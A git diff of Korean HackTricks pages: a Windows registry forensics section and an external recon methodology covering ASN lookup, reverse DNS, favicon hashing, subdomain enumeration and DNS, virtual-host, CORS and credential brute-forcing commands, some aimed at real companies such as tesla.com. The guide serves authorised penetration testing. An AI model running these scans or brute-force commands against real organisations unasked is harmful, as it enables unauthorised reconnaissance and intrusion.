* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### **Windows 버전 및 소유자 정보**
|
||||
- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치한 Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자 이름을 간단하게 찾을 수 있습니다.
|
||||
|
||||
### **컴퓨터 이름**
|
||||
- 호스트 이름은 **`System\ControlSet001\Control\ComputerName\ComputerName`** 아래에서 찾을 수 있습니다.
|
||||
|
||||
### **시간대 설정**
|
||||
- 시스템의 시간대는 **`System\ControlSet001\Control\TimeZoneInformation`**에 저장됩니다.
|
||||
|
||||
### **접근 시간 추적**
|
||||
- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 활성화하려면 다음을 사용하세요:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows 버전 및 서비스 팩
|
||||
- **Windows 버전**은 에디션 (예: Home, Pro) 및 릴리스 (예: Windows 10, Windows 11)를 나타내며, **서비스 팩**은 수정 사항과 때로는 새로운 기능을 포함한 업데이트입니다.
|
||||
|
||||
### 마지막 접근 시간 활성화
|
||||
- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열린 시간을 확인할 수 있으며, 이는 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다.
|
||||
|
||||
### 네트워크 정보 세부 사항
|
||||
- 레지스트리에는 네트워크 구성에 대한 포괄적인 데이터가 저장되어 있으며, 이는 네트워크 보안 설정 및 권한 이해에 중요합니다. 이 데이터에는 **네트워크 유형 (무선, 케이블, 3G)** 및 **네트워크 범주 (공용, 개인/홈, 도메인/작업)**가 포함됩니다.
|
||||
|
||||
### 클라이언트 측 캐싱 (CSC)
|
||||
- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 액세스를 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하며, 연결이 불안정한 환경에서는 성능과 사용자 경험에 영향을 줄 수 있습니다.
|
||||
|
||||
### 자동 시작 프로그램
|
||||
- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 자동으로 시작되어 시스템 부팅 시간에 영향을 주며, 악성 코드 또는 원치 않는 소프트웨어를 식별하는 데 중요한 지점이 될 수 있습니다.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags**는 폴더 보기에 대한 환경 설정뿐만 아니라 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 다른 수단으로는 명확하지 않은 사용자 활동을 밝혀내는 데 귀중합니다.
|
||||
|
||||
### USB 정보 및 포렌식
|
||||
- 레지스트리에 저장된 USB 장치에 대한 세부 정보는 컴퓨터에 연결된 장치를 추적하는 데 도움이 될 수 있으며, 민감한 파일 전송이나 무단 액세스 사건과 장치를 연결할 수 있습니다.
|
||||
|
||||
### 볼륨 일련 번호
|
||||
- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 파일의 원본을 다른 장치에서 확인해야 하는 포렌식 시나리오에 유용합니다.
|
||||
|
||||
### **종료 세부 정보**
|
||||
- 종료 시간 및 횟수 (XP의 경우에만 해당)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다.
|
||||
|
||||
### **네트워크 구성**
|
||||
- 자세한 네트워크 인터페이스 정보는 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**를 참조하세요.
|
||||
- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 기록됩니다.
|
||||
|
||||
### **공유 폴더**
|
||||
- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`**에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일의 가용성을 결정합니다.
|
||||
|
||||
### **자동으로 시작되는 프로그램**
|
||||
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** 및 `Software\Microsoft\Windows\CurrentVersion`의 유사한 항목과 같은 경로에 나열된 프로그램은 시작 시 자동으로 실행됩니다.
|
||||
|
||||
### **검색 및 입력된 경로**
|
||||
- 탐색기 검색 및 입력된 경로는 레지스트리의 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**에 WordwheelQuery 및 TypedPaths로 추적됩니다.
|
||||
|
||||
### **최근 문서 및 Office 파일**
|
||||
- 최근에 액세스한 문서 및 Office 파일은 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 및 특정 Office 버전 경로에 기록됩니다.
|
||||
|
||||
### **가장 최근에 사용된 (MRU) 항목**
|
||||
- 최근 파일 경로 및 명령을 나타내는 MRU 목록은 `NTUSER.DAT`의 다양한 `ComDlg32` 및 `Explorer` 하위 키에 저장됩니다.
|
||||
|
||||
### **사용자 활동 추적**
|
||||
- User Assist 기능은 애플리케이션 사용 횟수 및 마지막 실행 시간을 포함한 자세한 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다.
|
||||
|
||||
### **Shell
|
File diff suppressed because one or more lines are too long
|
@ -1,4 +1,4 @@
|
|||
# 외부 탐색 방법론
|
||||
# External Recon Methodology
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -27,7 +27,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
이 단계의 목표는 **주요 회사가 소유한 회사** 및 해당 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 다음을 수행할 것입니다:
|
||||
|
||||
1. 주요 회사의 인수를 찾아 해당 범위 내의 회사를 얻습니다.
|
||||
2. 각 회사의 **ASN(있는 경우)**을 찾아 해당 회사가 소유한 IP 범위를 얻습니다.
|
||||
2. 각 회사의 \*\*ASN(있는 경우)\*\*을 찾아 해당 회사가 소유한 IP 범위를 얻습니다.
|
||||
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 검색합니다(이를 재귀적으로 수행할 수 있음).
|
||||
4. 다른 기술(예: shodan `org` 및 `ssl` 필터)을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있음).
|
||||
|
||||
|
@ -41,18 +41,21 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### **ASNs**
|
||||
|
||||
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유한 번호**입니다.\
|
||||
자율 시스템 번호(**ASN**)는 \*\*인터넷 할당 번호 기관(IANA)\*\*에 의해 \*\*자율 시스템(AS)\*\*에 할당된 **고유한 번호**입니다.\
|
||||
**AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
|
||||
|
||||
**회사가 할당한 ASN이 있는지** 찾아 해당 **IP 범위를** 찾는 것이 흥미로울 것입니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 해당 IP 내의 도메인을 찾아보세요.\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다.
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 \*\*(IP 범위 및 Whois)\*\*가 이미 첫 번째 링크에 나와 있을 것입니다.
|
||||
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
|
||||
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)의 하위 도메인 열거는 스캔 마지막에 ASNs를 자동으로 집계 및 요약합니다.
|
||||
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,6 +72,7 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
|
||||
조직의 IP 범위를 찾을 수도 있습니다. [http://asnlookup.com/](http://asnlookup.com) (무료 API 제공).\
|
||||
도메인의 IP 및 ASN을 찾을 수 있습니다. [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
|
@ -76,7 +80,7 @@ bbot -t tesla.com -f subdomain-enum
|
|||
|
||||
이 시점에서 **범위 내의 모든 자산을 알고 있으므로**, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
|
||||
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 확인해야 합니다.\
|
||||
**또한, 기본 사용자 이름** 및 **암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.
|
||||
**또한, 기본 사용자 이름** 및 \*\*암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.
|
||||
|
||||
## 도메인
|
||||
|
||||
|
@ -84,17 +88,19 @@ bbot -t tesla.com -f subdomain-enum
|
|||
|
||||
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며, 이 정보를 과소평가해서는 안 됩니다._
|
||||
|
||||
먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
|
||||
먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, \_Tesla Inc.\_의 경우 \_tesla.com\_이 될 것입니다.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 시도하여 범위 내의 더 많은 도메인을 찾을 수 있습니다. 피해자의 DNS 서버 또는 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요.
|
||||
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
|
||||
### **역 Whois (루프)**
|
||||
|
||||
**Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 해당 필드 중 하나로 **역 Whois 조회를 수행**하면(예: 동일한 이메일이 나타나는 다른 whois 레지스트리) 회사와 관련된 더 많은 자산을 찾을 수 있습니다.\
|
||||
|
@ -129,19 +135,24 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
### **파비콘**
|
||||
|
||||
우리의 대상과 관련된 도메인 및 하위 도메인을 찾을 수 있다는 것을 알고 계셨습니까? 동일한 파비콘 아이콘 해시를 찾아주는 것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구입니다. 사용 방법은 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
|
||||
![favihash - 동일한 파비콘 아이콘 해시를 가진 도메인 발견](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다.
|
||||
|
||||
또한 [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다:
|
||||
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
||||
다음은 웹 사이트의 **파비콘 해시값을 계산하는 방법**입니다:
|
||||
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -154,6 +165,7 @@ fhash = mmh3.hash(favicon)
|
|||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
|
||||
### **저작권 / 고유 문자열**
|
||||
|
||||
동일 조직 내 다른 웹 사이트 간에 공유될 수 있는 **문자열을 웹 페이지 내에서 검색**합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 해당 문자열을 **Google**, 다른 **브라우저** 또는 심지어 **Shodan**에서 검색합니다: `shodan search http.html:"Copyright string"`
|
||||
|
@ -161,10 +173,12 @@ return fhash
|
|||
### **CRT 시간**
|
||||
|
||||
다음과 같은 cron 작업이 있는 것이 일반적입니다:
|
||||
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
|
||||
### 외 passvie Takeover
|
||||
|
||||
클라우드 제공업체에 속하는 IP에 하위 도메인을 할당하는 것이 일반적이며 어느 순간에는 해당 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊을 수 있습니다. 따라서 클라우드(예: Digital Ocean)에서 VM을 생성하면 실제로 일부 하위 도메인을 **인수**할 수 있습니다.
|
||||
|
@ -206,14 +220,17 @@ _도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는
|
|||
### **DNS**
|
||||
|
||||
**DNS** 레코드에서 **하위 도메인**을 가져오려고 합니다. 취약하다면 **Zone Transfer**를 시도해야 합니다(취약하다면 보고해야 합니다).
|
||||
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
||||
### **OSINT**
|
||||
|
||||
다량의 하위 도메인을 얻는 가장 빠른 방법은 외부 소스에서 검색하는 것입니다. 가장 많이 사용되는 **도구**는 다음과 같습니다 (더 나은 결과를 위해 API 키를 구성하세요):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
|
||||
```bash
|
||||
# subdomains
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
|
@ -224,55 +241,77 @@ bbot -t tesla.com -f subdomain-enum -rf passive
|
|||
# subdomains + port scan + web screenshots
|
||||
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
||||
```
|
||||
|
||||
* [**Amass**](https://github.com/OWASP/Amass)
|
||||
|
||||
```bash
|
||||
amass enum [-active] [-ip] -d tesla.com
|
||||
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
||||
```
|
||||
|
||||
* [**subfinder**](https://github.com/projectdiscovery/subfinder)
|
||||
|
||||
```bash
|
||||
# Subfinder, use -silent to only have subdomains in the output
|
||||
./subfinder-linux-amd64 -d tesla.com [-silent]
|
||||
```
|
||||
|
||||
* [**findomain**](https://github.com/Edu4rdSHL/findomain/)
|
||||
|
||||
```bash
|
||||
# findomain, use -silent to only have subdomains in the output
|
||||
./findomain-linux -t tesla.com [--quiet]
|
||||
```
|
||||
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
|
||||
|
||||
```bash
|
||||
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
||||
```
|
||||
|
||||
* [**assetfinder**](https://github.com/tomnomnom/assetfinder)
|
||||
|
||||
```bash
|
||||
assetfinder --subs-only <domain>
|
||||
```
|
||||
|
||||
* [**Sudomy**](https://github.com/Screetsec/Sudomy)
|
||||
|
||||
```bash
|
||||
# It requires that you create a sudomy.api file with API keys
|
||||
sudomy -d tesla.com
|
||||
```
|
||||
|
||||
* [**vita**](https://github.com/junnlikestea/vita)
|
||||
|
||||
```
|
||||
vita -d tesla.com
|
||||
```
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
||||
|
||||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
|
||||
다른 흥미로운 도구/API가 있습니다. 하위 도메인을 직접적으로 찾는 데 특화되지 않았더라도 하위 도메인을 찾는 데 유용할 수 있습니다. 예를 들어:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** 하위 도메인을 얻기 위해 [https://sonar.omnisint.io](https://sonar.omnisint.io) API를 사용합니다.
|
||||
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
||||
* [**JLDC 무료 API**](https://jldc.me/anubis/subdomains/google.com)
|
||||
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
||||
* [**RapidDNS**](https://rapiddns.io) 무료 API
|
||||
|
||||
```bash
|
||||
# Get Domains from rapiddns free API
|
||||
rapiddns(){
|
||||
|
@ -282,7 +321,9 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \
|
|||
}
|
||||
rapiddns tesla.com
|
||||
```
|
||||
|
||||
* [**https://crt.sh/**](https://crt.sh)
|
||||
|
||||
```bash
|
||||
# Get Domains from crt free API
|
||||
crt(){
|
||||
|
@ -292,12 +333,16 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
|
||||
* [**gau**](https://github.com/lc/gau)**:** 특정 도메인에서 AlienVault의 Open Threat Exchange, Wayback Machine 및 Common Crawl에서 알려진 URL을 가져옵니다.
|
||||
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 웹을 스크랩하여 JS 파일을 찾고 거기서 하위 도메인을 추출합니다.
|
||||
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -305,23 +350,30 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
|||
# Get only subdomains from subscraper, this already perform recursion over the found results
|
||||
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
|
||||
```
|
||||
|
||||
* [**Shodan**](https://www.shodan.io/)
|
||||
|
||||
```bash
|
||||
# Get info about the domain
|
||||
shodan domain <domain>
|
||||
# Get other pages with links to subdomains
|
||||
shodan search "http.html:help.domain.com"
|
||||
```
|
||||
|
||||
* [**Censys 하위 도메인 찾기**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
|
||||
```bash
|
||||
export CENSYS_API_ID=...
|
||||
export CENSYS_API_SECRET=...
|
||||
python3 censys-subdomain-finder.py tesla.com
|
||||
```
|
||||
|
||||
* [**DomainTrail.py**](https://github.com/gatete/DomainTrail)
|
||||
|
||||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
|
||||
* [**securitytrails.com**](https://securitytrails.com/)은 하위 도메인 및 IP 기록을 검색하기 위한 무료 API를 제공합니다.
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
|
@ -346,69 +398,93 @@ python3 DomainTrail.py -d example.com
|
|||
DNS 브루트 포스에 가장 권장되는 도구들은 다음과 같습니다:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): 이 도구는 효과적인 DNS 브루트 포스를 수행한 최초의 도구였습니다. 매우 빠르지만 잘못된 양성 결과가 발생할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): 이것은 제 생각에는 1개의 리졸버를 사용하는 것 같습니다.
|
||||
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns)는 `massdns`를 감싼 것으로, 유효한 서브도메인을 활성 브루트포스를 사용하여 나열하고, 와일드카드 처리 및 쉬운 입출력 지원을 통해 서브도메인을 해결할 수 있습니다.
|
||||
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): 또한 `massdns`를 사용합니다.
|
||||
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)은 asyncio를 사용하여 도메인 이름을 비동기적으로 무차별 대입하는 도구입니다.
|
||||
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
|
||||
### 두 번째 DNS 브루트포스 라운드
|
||||
|
||||
오픈 소스 및 브루트 포싱을 사용하여 하위 도메인을 찾은 후, 찾은 하위 도메인의 변형을 생성하여 더 많은 도메인을 찾아볼 수 있습니다. 이를 위해 다음과 같은 여러 도구가 유용합니다:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인 및 하위 도메인을 주어진 경우 순열을 생성합니다.
|
||||
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): 주어진 도메인 및 서브도메인에서 순열을 생성합니다.
|
||||
* goaltdns 순열 **wordlist**를 [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** 도메인 및 서브도메인을 제공하여 순열을 생성합니다. 순열 파일이 지정되지 않은 경우 gotator는 자체 파일을 사용합니다.
|
||||
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): 하위 도메인 순열을 생성하는 것 외에도 해결을 시도할 수 있지만 (이전에 설명된 도구를 사용하는 것이 더 좋음).
|
||||
* altdns 순열 **wordlist**를 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다.
|
||||
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): 하위 도메인의 순열, 변형 및 변경을 수행하는 또 다른 도구입니다. 이 도구는 결과를 무차별 대입할 것입니다 (DNS 와일드카드를 지원하지 않음).
|
||||
* dmut 순열 워드리스트를 [**여기**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)에서 얻을 수 있습니다.
|
||||
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 도메인을 기반으로 하여 **지정된 패턴에 따라 새로운 잠재적인 하위 도메인 이름을 생성**하여 더 많은 하위 도메인을 발견하려고 시도합니다.
|
||||
|
||||
#### 스마트 순열 생성
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 자세한 정보는 이 [**포스트**](https://cramppet.github.io/regulator/index.html)를 참조하십시오. 이 도구는 **발견된 하위 도메인**에서 **주요 부분**을 가져와 섞어 더 많은 하위 도메인을 찾습니다.
|
||||
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_은 서브도메인 브루트포스 퍼저로, 굉장히 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 사용자 지정 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** \_subzuf\_은 서브도메인 브루트포스 퍼저로, 굉장히 간단하지만 효과적인 DNS 응답 가이드 알고리즘과 결합되어 있습니다. 사용자 지정 워드리스트나 과거 DNS/TLS 레코드와 같은 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중 수집된 정보를 기반으로 루프를 통해 더 확장합니다.
|
||||
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
||||
### **서브도메인 발견 워크플로우**
|
||||
|
||||
도메인에서 **서브도메인 발견을 자동화**하는 방법에 대해 작성한 블로그 포스트를 확인하세요. **Trickest workflows**를 사용하여 컴퓨터에서 수동으로 여러 도구를 실행할 필요가 없습니다:
|
||||
|
@ -428,6 +504,7 @@ echo www | subzuf facebook.com
|
|||
**무차별 대입**
|
||||
|
||||
웹 서버에 숨겨진 서브도메인이 있을 것으로 의심된다면, 무차별 대입을 시도할 수 있습니다:
|
||||
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -441,16 +518,19 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
#https://github.com/codingo/VHostScan
|
||||
VHostScan -t example.com
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
이 기술을 사용하면 내부/숨겨진 엔드포인트에 액세스할 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS 브루트 포스**
|
||||
|
||||
가끔 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 헤더 _**Access-Control-Allow-Origin**_을 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서 이 동작을 남용하여 **새로운 서브도메인**을 **발견**할 수 있습니다.
|
||||
가끔 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 헤더 \_**Access-Control-Allow-Origin**\_을 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서 이 동작을 남용하여 **새로운 서브도메인**을 **발견**할 수 있습니다.
|
||||
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
||||
### **버킷 브루트 포스**
|
||||
|
||||
**서브도메인**을 찾을 때 **버킷**으로 **포인팅**되는지 확인하고, 그 경우에는 [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)**해보세요**.\
|
||||
|
@ -471,7 +551,7 @@ _가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스
|
|||
## IPs
|
||||
|
||||
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인을 찾았을 수 있습니다**.\
|
||||
